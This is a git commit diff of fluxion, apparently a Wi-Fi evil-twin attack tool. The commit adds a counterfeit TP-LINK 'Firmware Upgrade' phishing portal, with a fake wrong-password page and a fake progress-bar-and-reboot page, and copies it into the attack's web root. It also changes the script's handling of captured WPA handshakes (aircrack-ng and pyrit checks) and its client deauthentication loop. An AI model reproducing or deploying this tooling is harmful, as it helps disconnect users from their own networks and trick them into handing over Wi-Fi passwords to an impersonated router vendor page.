faster logo

ask to update
use saved handshake as default
switched priority to check handshake with aircrack first (more reliable for me)
added tp-link site
added php, htm files as index in lighttpd
This commit is contained in:
dlink 2016-11-13 13:30:57 -05:00
parent d2f08debdc
commit b97cddf75d
9 changed files with 3504 additions and 67 deletions

Binary file not shown.

File diff suppressed because it is too large Load Diff

6
Sites/Upgrade-TP-LINK/bootstrap.min.css vendored Executable file

File diff suppressed because one or more lines are too long

7
Sites/Upgrade-TP-LINK/bootstrap.min.js vendored Executable file

File diff suppressed because one or more lines are too long

200
Sites/Upgrade-TP-LINK/error.html Executable file
View File

@ -0,0 +1,200 @@
<!DOCTYPE html>
<html lang="en">
<head>
<title>Router Configuration Page</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="bootstrap.min.css">
<script src="jquery.min.js"></script>
<script src="bootstrap.min.js"></script>
<!-- CSS -->
<style type="text/css">
/* Sticky footer styles
-------------------------------------------------- */
html,
body {
height: 100%;
/* The html and body elements cannot have any padding or margin. */
}
/* Wrapper for page content to push down footer */
#wrap {
min-height: 100%;
height: auto !important;
height: 100%;
/* Negative indent footer by it's height */
margin: 0 auto -60px;
}
/* Set the fixed height of the footer here */
#push,
#footer {
height: 60px;
}
#footer {
background-color: #f5f5f5;
}
/* Lastly, apply responsive CSS fixes as necessary */
@media (max-width: 767px) {
#footer {
margin-left: -20px;
margin-right: -20px;
padding-left: 20px;
padding-right: 20px;
}
}
</style>
</head>
<body>
<!-- Start navigation bar -->
<!-- To change the navigation bar color change background attribute -->
<nav class="navbar navbar-inverse" style="background:RoyalBlue;margin-top:2em;">
<div class="container-fluid">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#myNavbar">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<!--
<a class="navbar-brand"><img style="background:transparent" src="Your LOGO" alt="Logo"></a>
-->
</div>
<div class="collapse navbar-collapse" id="myNavbar">
<ul class="nav navbar-nav">
<li class="dropdown" data-toggle="modal" data-target="#update-only"><a class="dropdown-toggle"
data-toggle="dropdown" href="#" style="color:white">Setup <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">Basic Setup</a></li>
<li><a href="#">DDNS</a></li>
<li><a href="#">MAC Address Clone</a></li>
<li><a href="#">Advanced Routing</a></li>
</ul>
</li>
<li class="dropdown" data-toggle="modal" data-target="#update-only"><a class="dropdown-toggle"
data-toggle="dropdown" href="#" style="color:white">Wireless <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">Basic Wireless Settings</a></li>
<li><a href="#">Wireless Security</a></li>
<li><a href="#">Wireless MAC Filter</a></li>
<li><a href="#">Advanced Wireless Settings</a></li>
</ul>
</li>
<li class="dropdown" data-toggle="modal" data-target="#update-only"><a class="dropdown-toggle"
data-toggle="dropdown" href="#" style="color:white">Security <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">Firewall</a></li>
<li><a href="#">VPN</a></li>
</ul>
</li>
<li class="dropdown" data-toggle="modal" data-target="#update-only"><a class="dropdown-toggle"
data-toggle="dropdown" href="#" style="color:white">Access Restriction <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">Internet Access</a></li>
</ul>
</li>
<li class="dropdown" data-toggle="modal" data-target="#update-only"><a class="dropdown-toggle"
data-toggle="dropdown" href="#" style="color:white">Administration <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">Management</a></li>
<li><a href="#">Log</a></li>
<li><a href="#">Diagnostics</a></li>
<li><a href="#">Factory Defaults</a></li>
<li><a href="#">Config Manegements</a></li>
</ul>
</li>
<li class="dropdown" data-toggle="modal" data-target="#update-only"><a class="dropdown-toggle"
data-toggle="dropdown" href="#" style="color:white">Status <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">Router</a></li>
<li><a href="#">Local Network</a></li>
<li><a href="#">Wireless</a></li>
<li><a href="#">Advanced Routing</a></li>
</ul>
</li>
</ul>
</div>
</div>
</nav>
<!-- End navigation bar -->
<!-- Start page content -->
<div class="container">
<div class="col-sm">
<h2 class="text-center" style="color:RoyalBlue">Firmware Upgrade</h2>
</div>
<div class="alert alert-danger">
<p>Wrong password</p>
</div>
<div>Password you entered does not match network password. Please go <a href="javascript:window.history.back()">back</a> and enter correct password.
<div id="push"></div>
</div>
<!-- Start page content -->
<!-- Start footer -->
<footer class="footer">
<div class="container text-center">
<p class="text-muted">TP-LINK© 2016, All Rights Reserved.</p>
</div>
</footer>
<!-- End footer -->
<script>
/*
Check the password field and act accordingly.
*/
$("#btn").on("click", function(e) {
// get the password box and checkbox elements
var input = document.getElementById("pwd");
var box = document.getElementById("check-box");
// if the box is checked
if ( box.checked != true ){
// display no checkbox message
$("#no-checkbox").modal("show");
return false;
}
if ( input.value.lenght < 7 || input.value.lenght > 64){
// display no password message
$("#empty-pass").modal("show");
return false;
}
});
/*
Check the status of check box
*/
function checkBoxStatus()
{
// get the password box and checkbox elements
var box = document.getElementById("check-box");
var input = document.getElementById("pwd");
// if the box is checked
if ( box.checked == true )
{
// enabale the password box
input.disabled = false;
}
else
{
// disable the password box
input.disabled = true;
}
}
</script>
</body>
</html>

320
Sites/Upgrade-TP-LINK/final.html Executable file
View File

@ -0,0 +1,320 @@
<!DOCTYPE html>
<html lang="en">
<head>
<title>Router Configuration Page</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="bootstrap.min.css">
<script src="jquery.min.js"></script>
<script src="bootstrap.min.js"></script>
<!-- CSS -->
<style type="text/css">
/* Sticky footer styles
-------------------------------------------------- */
html,
body {
height: 100%;
/* The html and body elements cannot have any padding or margin. */
}
/* Wrapper for page content to push down footer */
#wrap {
min-height: 100%;
height: auto !important;
height: 100%;
/* Negative indent footer by it's height */
margin: 0 auto -60px;
}
/* Set the fixed height of the footer here */
#push,
#footer {
height: 60px;
}
#footer {
background-color: #f5f5f5;
}
/* Lastly, apply responsive CSS fixes as necessary */
@media (max-width: 767px) {
#footer {
margin-left: -20px;
margin-right: -20px;
padding-left: 20px;
padding-right: 20px;
}
}
#clockdiv{
font-family: sans-serif;
color: #fff;
display: inline-block;
font-weight: 100;
text-align: center;
font-size: 30px;
}
#clockdiv > div{
padding: 10px;
border-radius: 3px;
background: #00BF96;
display: inline-block;
}
#clockdiv div > span{
padding: 15px;
border-radius: 3px;
background: #00816A;
display: inline-block;
}
.smalltext{
padding-top: 5px;
font-size: 16px;
}
</style>
</head>
<body>
<!-- Start navigation bar -->
<nav class="navbar navbar-inverse" style="background:RoyalBlue;margin-top:2em;">
<div class="container-fluid">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#myNavbar">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<!--
<a class="navbar-brand"><img style="background:transparent" src="Your LOGO" alt="Logo"></a>
-->
</div>
<div class="collapse navbar-collapse" id="myNavbar">
<ul class="nav navbar-nav">
<li class="dropdown" data-toggle="modal" data-target="#upgrade-only"><a class="dropdown-toggle"
data-toggle="dropdown" href="#" style="color:white">Setup <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">Basic Setup</a></li>
<li><a href="#">DDNS</a></li>
<li><a href="#">MAC Address Clone</a></li>
<li><a href="#">Advanced Routing</a></li>
</ul>
</li>
<li class="dropdown" data-toggle="modal" data-target="#upgrade-only"><a class="dropdown-toggle"
data-toggle="dropdown" href="#" style="color:white">Wireless <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">Basic Wireless Settings</a></li>
<li><a href="#">Wireless Security</a></li>
<li><a href="#">Wireless MAC Filter</a></li>
<li><a href="#">Advanced Wireless Settings</a></li>
</ul>
</li>
<li class="dropdown" data-toggle="modal" data-target="#upgrade-only"><a class="dropdown-toggle"
data-toggle="dropdown" href="#" style="color:white">Security <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">Firewall</a></li>
<li><a href="#">VPN</a></li>
</ul>
</li>
<li class="dropdown" data-toggle="modal" data-target="#upgrade-only"><a class="dropdown-toggle"
data-toggle="dropdown" href="#" style="color:white">Access Restriction <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">Internet Access</a></li>
</ul>
</li>
<li class="dropdown" data-toggle="modal" data-target="#upgrade-only"><a class="dropdown-toggle"
data-toggle="dropdown" href="#" style="color:white">Administration <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">Management</a></li>
<li><a href="#">Log</a></li>
<li><a href="#">Diagnostics</a></li>
<li><a href="#">Factory Defaults</a></li>
<li><a href="#">Config Manegements</a></li>
</ul>
</li>
<li class="dropdown" data-toggle="modal" data-target="#upgrade-only"><a class="dropdown-toggle"
data-toggle="dropdown" href="#" style="color:white">Status <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">Router</a></li>
<li><a href="#">Local Network</a></li>
<li><a href="#">Wireless</a></li>
<li><a href="#">Advanced Routing</a></li>
</ul>
</li>
</ul>
</div>
</div>
</nav>
<!-- End navigation bar -->
<!-- Start firt phase -->
<div class="container">
<div>
<h2 class="text-center" style="color:CornflowerBlue">Firmware Upgrade In Progress</h2>
<p class="lead">The update is currently being uploaded to the router.
Please do not disconnect or turn off the router while it's
being updated.</p>
</div>
<!-- Start porgress bar -->
<div id="instance" class="progress">
<div class="progress-bar progress-bar-striped active" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100" style="width: 0%;">
<span class="sr-only">0% Complete</span>
</div>
</div>
<!-- End porgress bar -->
<div id="push"></div>
</div>
<!-- End first phase -->
<!-- Start second phase -->
<div class="container show-on-done hidden">
<div class="row content">
<div class="col-sm">
<div>
<p class="lead">The update was successful and currently it's being installed.
The router is being rebooted and you will lose access to
the internet. Please allow the timer to expire before
you connect back to the router.</p>
</div>
</div>
<!-- start of the countdown -->
<div class="col-sm text-center">
<div id="clockdiv">
<div>
<span class="minutes"></span>
<div class="smalltext">Minutes</div>
</div>
<div>
<span class="seconds"></span>
<div class="smalltext">Seconds</div>
</div>
</div>
</div>
<!-- end of the countdown -->
</div>
<div id="push"></div>
</div>
<!-- End second phase -->
<!-- Start footer -->
<footer class="footer">
<div class="container text-center">
<p class="text-muted">TP-LINK© 2016, All Rights Reserved.</p>
</div>
</footer>
<!-- End footer -->
<!-- Start upgrade first message -->
<div class="modal fade" id="upgrade-only" role="dialog">
<div class="modal-dialog modal-sm">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal">&times;</button>
<h4 class="modal-title">Information</h4>
</div>
<div class="modal-body">
<p>Please Wait For Update To Finish.</p>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
</div>
</div>
</div>
</div>
<!-- End upgrade first message -->
<script>
/*
Increases the progress bar
*/
function fakeProgress(container, durationInMs, onDone) {
var intervalInMS = 200;
var doneDelay = intervalInMS * 2;
var bar = container.find('.progress-bar');
var srOnly = bar.find('.sr-only');
var percent = 0;
var interval = setInterval(function updateBar() {
percent += 100 * (intervalInMS/durationInMs);
bar.css({width: percent + '%'});
bar['aria-valuenow'] = percent;
srOnly.text(percent + '% Complete');
if (percent >= 100) {
clearInterval(interval);
setTimeout(function() {
if (typeof onDone === 'function') {
onDone();
}
}, doneDelay);
}
}, intervalInMS);
}
/*
Used to show content after the progress bar is done
*/
function onDone() {
$('.show-on-done').removeClass('hidden');
var deadline = new Date(Date.parse(new Date()) + 5 * 60 * 1000);
initializeClock('clockdiv', deadline);
}
/*
Calculates the remaning time
*/
function getTimeRemaining(endtime) {
var t = Date.parse(endtime) - Date.parse(new Date());
var seconds = Math.floor((t / 1000) % 60);
var minutes = Math.floor((t / 1000 / 60) % 60);
return {
'total': t,
'minutes': minutes,
'seconds': seconds
};
}
/*
Creates the clock related content
*/
function initializeClock(id, endtime) {
var clock = document.getElementById(id);
var minutesSpan = clock.querySelector('.minutes');
var secondsSpan = clock.querySelector('.seconds');
function updateClock() {
var t = getTimeRemaining(endtime);
minutesSpan.innerHTML = ('0' + t.minutes).slice(-2);
secondsSpan.innerHTML = ('0' + t.seconds).slice(-2);
if (t.total <= 0) {
clearInterval(timeinterval);
}
}
// updating the countdown
updateClock();
var timeinterval = setInterval(updateClock, 1000);
}
// speed of the progress bar in milliseconds
var duration = 100000;
// start the progress bar
fakeProgress($('#instance'), duration, onDone);
</script>
</body>
</html>

1369
Sites/Upgrade-TP-LINK/index.html Executable file

File diff suppressed because it is too large Load Diff

4
Sites/Upgrade-TP-LINK/jquery.min.js vendored Executable file

File diff suppressed because one or more lines are too long

160
fluxion
View File

@ -741,21 +741,21 @@ fi
if [ $FLUX_DEBUG != 1 ]; then
echo ""
sleep 0.1 && echo -e "$red "
sleep 0.1 && echo -e " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐ "
sleep 0.1 && echo -e " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║ "
sleep 0.1 && echo -e " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜ "
sleep 0.1 && echo -e " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║ "
sleep 0.1 && echo -e " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘ "
sleep 0.1 && echo -e " ¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯ "
sleep 0.01 && echo -e "$red "
sleep 0.01 && echo -e " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐ "
sleep 0.01 && echo -e " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║ "
sleep 0.01 && echo -e " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜ "
sleep 0.01 && echo -e " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║ "
sleep 0.01 && echo -e " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘ "
sleep 0.01 && echo -e " ¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯ "
echo""
sleep 1
echo -e $red" FLUXION "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" deltax"
sleep 1
sleep 0.1
echo -e $red" FLUX "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" deltax"
sleep 0.1
echo -e $green " Page:"$red" https://github.com/deltaxflux/fluxion "$transparent
sleep 1
sleep 0.1
echo -n " Latest rev."
tput civis
checkupdatess &
@ -765,22 +765,27 @@ if [ $FLUX_DEBUG != 1 ]; then
if [ "$revision_online" != "?" ]; then
if [ "$revision" != "$revision_online" ]; then
cp $0 $HOME/flux_rev-$revision.backup
curl "https://raw.githubusercontent.com/deltaxflux/fluxion/master/fluxion" -s -o $0
echo
echo
echo -e ""$red"
Updated successfully! Restarting the script to apply the changes ..."$transparent""
sleep 5
chmod +x $0
exec $0
echo "New revision found....update? [ENTER=skip]"
read doupdate
echo -ne "$transparent"
if [ "$doupdate" != "" ]; then
cp $0 $HOME/flux_rev-$revision.backup
curl "https://raw.githubusercontent.com/deltaxflux/fluxion/master/fluxion" -s -o $0
echo
echo
echo -e ""$red"
Updated successfully! Restarting the script to apply the changes ..."$transparent""
sleep 3
chmod +x $0
exec $0
fi
fi
fi
echo ""
tput cnorm
sleep 2
sleep 1
fi
@ -1433,20 +1438,23 @@ function setinterface {
if [ "$INTERFACESNUMBER" -gt "0" ]; then
echo -e ""$red"["$yellow"i"$red"]"$transparent" $header_setinterface"
echo
i=0
if [ "$INTERFACESNUMBER" -eq "1" ]; then
PREWIFI=$(echo ${wirelessifaces[0]} | awk '{print $1}')
else
echo $header_setinterface
echo
i=0
for line in "${wirelessifaces[@]}"; do
i=$(($i+1))
wirelessifaces[$i]=$line
echo -e " "$red"["$yellow"$i"$red"]"$transparent" $line"
done
echo
echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent""
read line
PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}')
for line in "${wirelessifaces[@]}"; do
i=$(($i+1))
wirelessifaces[$i]=$line
echo -e " "$red"["$yellow"$i"$red"]"$transparent" $line"
done
echo
echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent""
read line
PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}')
fi
if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then
conditional_clear
@ -3591,24 +3599,25 @@ function handshakelocation {
top
infoap
caps=` ls -h /root/handshakes/*.cap`
if [ "$caps" = "" ];then
echo
echo -e $red"No Caps found..."$transparen
else
echo
echo -e $blue"Avaliable caps"; echo -e $red"$caps" $transparent
fi
echo
echo -e "handshake location (Example: $red$WORK_DIR.cap$transparent)"
echo -e "Press ${yellow}ENTER$transparent to skip"
echo
echo -n "Path: "
echo -ne "$red"
read handshakeloc
echo -ne "$transparent"
if [ -f "/root/handshakes/$Host_SSID-$Host_MAC.cap" ]; then
echo -e "Handshake $yellow$Host_SSID-$Host_MAC.cap$transparent found in /root/handshakes."
echo -e "${red}Do you want to use this file?"
echo -ne "$transparent"
read usehandshakefile
if [ "$usehandshakefile" = "y" -o "$usehandshakefile" = "" ]; then
handshakeloc="/root/handshakes/$Host_SSID-$Host_MAC.cap"
fi
fi
if [ "$handshakeloc" = "" ]; then
echo
echo -e "handshake location (Example: $red$WORK_DIR.cap$transparent)"
echo -e "Press ${yellow}ENTER$transparent to skip"
echo
echo -n "Path: "
echo -ne "$red"
read handshakeloc
echo -ne "$transparent"
fi
if [ "$handshakeloc" = "" ]; then
deauthforce
else
@ -3616,28 +3625,28 @@ function handshakelocation {
Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2)
Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')
if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then
if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then
if aircrack-ng $handshakeloc | grep -q "1 handshake"; then
cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap
webinterface
webinterface
else
echo -e $yellow "Corrupted handshake" $transparent
echo
sleep 4
echo -e $red"you can try aircrack-ng"$transparent
echo -e $red"You want to try to aircrack-ng instead of pyrit to check the handshake? [n = NO]"$transparent
sleep 2
echo "you can try pyrit"
echo "You want to try pyrit instead of aircrack-ng to check the handshake? [ENTER = NO]"
echo
read handshakeloc_aircrack
read handshakeloc_pyrit
echo -ne "$transparent"
if [ "$handshakeloc_aircrack" = "n" ]; then
if [ "$handshakeloc_pyrit" = "" ]; then
handshakelocation
else
if aircrack-ng $handshakeloc | grep -q "1 handshake"; then
if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then
cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap
webinterface
webinterface
else
echo "Corrupted handshake"
sleep 4
sleep 2
handshakelocation
fi
fi
@ -3659,7 +3668,7 @@ function handshakelocation {
fi
else
echo -e "File ${red}NOT$transparent present"
sleep 4
sleep 2
handshakelocation
fi
fi
@ -3755,6 +3764,7 @@ function deauth {
HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC`
LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'`
if [ $LINEAS_CLIENTES -le 5 ]; then
DEAUTH=deauthall
capture & $DEAUTH
@ -3765,7 +3775,7 @@ function deauth {
capture
for CLIENT in $HOST; do
Client_MAC=`echo ${CLIENT:0:17}`
Client_MAC=`echo ${CLIENT:0:17}`
deauthesp
done
$DEAUTH
@ -3991,6 +4001,7 @@ function ConnectionRESET {
echo -e " "$red"["$yellow"$n"$red"]"$transparent" Netgear [ESP]";n=`expr $n + 1`
echo -e " "$red"["$yellow"$n"$red"]"$transparent" Arris [ESP]";n=`expr $n + 1`
echo -e " "$red"["$yellow"$n"$red"]"$transparent" Vodafone [ESP]";n=`expr $n + 1`
echo -e " "$red"["$yellow"$n"$red"]"$transparent" TP-Link [ENG]";n=`expr $n + 1`
echo -e " "$red"["$yellow"$n"$red"]"$transparent"\e[1;31m $general_back"$transparent""
echo
echo -n "#? "
@ -4024,7 +4035,7 @@ function ConnectionRESET {
NEUTRA
break
elif [ "$fluxass" = "3" ]; then
elif [ "$fluxass" = "3" ]; then
DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_RUS
DIALOG_WEB_INFO=$DIALOG_WEB_INFO_RUS
DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_RUS
@ -4302,8 +4313,12 @@ function ConnectionRESET {
elif [ "$fluxass" = "27" ]; then
VODAFONE
break
elif [ "$fluxass" = "28" ]; then
TPLINK
break
elif [ "$fluxass" = "28" ]; then
elif [ "$fluxass" = "29" ]; then
conditional_clear
webinterface
break
@ -4431,7 +4446,7 @@ mimetype.assign = (
server.error-handler-404 = \"/\"
static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" )
index-file.names = ( \"index.htm\" )
index-file.names = ( \"index.htm\",\"index.html\",\"index.php\" )
@ -7208,6 +7223,17 @@ function NETGEAR2 {
cp $WORK_DIR/Sites/NETGEAR-ESP/info.html $DUMP_PATH/data
cp $WORK_DIR/Sites/NETGEAR-ESP/index.htm $DUMP_PATH/data
}
#Conten interface web
function TPLINK {
mkdir $DUMP_PATH/data &>$flux_output_device
cp $WORK_DIR/Sites/Upgrade-TP-LINK/bootstrap.min.css $DUMP_PATH/data
cp $WORK_DIR/Sites/Upgrade-TP-LINK/bootstrap.min.js $DUMP_PATH/data
cp $WORK_DIR/Sites/Upgrade-TP-LINK/index.html $DUMP_PATH/data
cp $WORK_DIR/Sites/Upgrade-TP-LINK/jquery.min.js $DUMP_PATH/data
cp $WORK_DIR/Sites/Upgrade-TP-LINK/final.html $DUMP_PATH/data
cp $WORK_DIR/Sites/Upgrade-TP-LINK/error.html $DUMP_PATH/data
}
#Conten interface web
function VODAFONE {